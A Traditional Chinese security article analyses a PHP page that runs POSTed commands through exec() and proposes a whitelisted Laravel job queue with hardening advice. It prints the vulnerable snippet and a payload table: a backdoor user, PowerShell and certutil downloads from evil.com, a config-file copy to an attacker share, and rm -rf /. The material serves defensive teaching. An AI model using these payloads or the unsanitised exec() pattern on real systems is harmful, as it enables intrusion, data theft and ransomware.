原始程式碼展示了透過 Web 介面直接執行 shutdown、exec() 等系統指令。**在任何生產環境、公開網路、甚至內網測試機上部署此類程式碼都是嚴重的安全漏洞**,可能導致伺服器被完全控制、資料竊取、勒索軟體植入。本文旨在**分析風險原理、展示正確防護姿勢、提供安全替代方案**,嚴禁直接複製使用。
<?php
// 原始高風險程式碼(僅供分析,勿使用)
if (isset($_POST['cmd'])) {
$cmd = stripslashes($_POST['cmd']);
exec($cmd, $out); // 直接執行任意指令
var_dump($out);
}
// 表單允許選擇 shutdown -r / -s / -l
?>
$_POST['cmd'] 完全可控,攻擊者可提交 shutdown -s && rm -rf /、powershell -enc <base64> 等任意指令。shutdown、cmd.exe 執行權限,即違反最小權限原則。shutdown 參數在 Windows/Linux/macOS 差異極大,實際部署極易失效或誤觸發。| 攻擊向量 | Payload 範例 | 後果 |
|---|---|---|
| 指令注入 | shutdown -s && net user hacker P@ssw0rd /add | 建立後門帳號 |
| 反向 Shell | powershell -c "IEX(New-Object Net.WebClient).DownloadString('https://evil.com/shell.ps1')" | 完全控制伺服器 |
| 資料竊取 | type C:\inetpub\wwwroot\config.php > \\attacker\share\leak.txt | 洩露資料庫憑證、API Key |
| 勒索軟體 | certutil -urlcache -f https://evil.com/ransom.exe %TEMP%\r.exe && %TEMP%\r.exe | 加密全盤資料勒索比特幣 |
<?php
// app/Models/ServerCommand.php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class ServerCommand extends Model {
protected $fillable = ['user_id', 'action', 'params', 'status', 'output', 'executed_at'];
protected $casts = ['params' => 'array', 'executed_at' => 'datetime'];
// 白名單動作
public const ALLOWED_ACTIONS = [
'reboot' => ['description' => '重啟伺服器', 'command' => 'shutdown -r -t 60'],
'shutdown' => ['description' => '關機', 'command' => 'shutdown -s -t 60'],
'logoff' => ['description' => '登出', 'command' => 'shutdown -l'],
];
}
// app/Policies/ServerCommandPolicy.php
namespace App\Policies;
use App\Models\User;
use App\Models\ServerCommand;
class ServerCommandPolicy {
public function create(User $user): bool {
return $user->hasRole('server-admin'); // 僅特定角色
}
public function view(User $user, ServerCommand $cmd): bool {
return $user->id === $cmd->user_id || $user->hasRole('admin');
}
}
// app/Jobs/ExecuteServerCommand.php
namespace App\Jobs;
use App\Models\ServerCommand;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Support\Facades\Log;
class ExecuteServerCommand implements ShouldQueue {
use Dispatchable, InteractsWithQueue, Queueable;
public function __construct(public ServerCommand $command) {}
public function handle(): void {
$cmd = $this->command;
$action = $cmd->action;
if (!isset(ServerCommand::ALLOWED_ACTIONS[$action])) {
$cmd->update(['status' => 'rejected', 'output' => 'Action not allowed']);
return;
}
$binary = ServerCommand::ALLOWED_ACTIONS[$action]['command'];
// Windows 環境下實際執行
$output = [];
$returnVar = 0;
exec($binary, $output, $returnVar);
$cmd->update([
'status' => $returnVar === 0 ? 'success' : 'failed',
'output' => implode("\n", $output),
'executed_at' => now(),
]);
Log::channel('audit')->info('Server command executed', [
'command_id' => $cmd->id,
'user_id' => $cmd->user_id,
'action' => $action,
'ip' => request()->ip(),
'result' => $returnVar === 0 ? 'ok' : 'fail',
]);
}
}
// routes/web.php — 僅在內網/VPN 可存取的路由群組
Route::middleware(['auth', 'verified', 'ip.restrict:10.0.0.0/8,192.168.0.0/16'])
->group(function () {
Route::get('/server/commands', [ServerCommandController::class, 'index']);
Route::post('/server/commands', [ServerCommandController::class, 'store'])
->can('create', ServerCommand::class);
});
?>
| 工具/協定 | 適用場景 | 安全特性 | 學習曲線 |
|---|---|---|---|
| SSH + 金鑰認證 | Linux/Unix 伺服器管理 | 加密傳輸、公開金鑰認證、審計日誌 | 低 |
| Windows Remote Management (WinRM) | Windows 伺服器管理 | Kerberos/NTLM、HTTPS、角色存取控制 | 中 |
| Ansible / SaltStack | 批量配置、部署、編排 | 無代理(SSH)、冪等性、RBAC、加密變數 | 中 |
| Rundeck / AWX | 自助式運維門戶、工作流 | Web UI、ACL、審計、排程、API | 中高 |
| Guacamole / Apache Bastion | 瀏覽器式 RDP/SSH/VNC 代理 | 集中認證、錄像回放、無客戶端 | 中 |
shutdown、cmd.exe、powershell.exe 執行權限(ACL/SELinux)。hash_hmac('sha256', $action . $timestamp, $secret),防止 CSRF 與重放攻擊。in_array($action, ['reboot','shutdown','logoff'], true)。disable_functions=exec,shell_exec,system,passthru,proc_open,popen 於 php.ini,僅在極少數 Worker 進程解除。「PHP 執行系統指令」在架構上屬於**反模式**。正確路徑是:Web 應用只負責接收意圖、驗證權限、寫入任務佇列;背景 Worker 在最小權限、白名單、審計完整的環境下執行標準化運維腳本。任何嘗試在 HTTP 請求中直接 exec() 的設計,都應在 Code Review 階段被拒絕。請投資學習 Ansible、Rundeck 或雲原生運維工具,將「手動關機」轉化為「宣告式基礎設施碼」。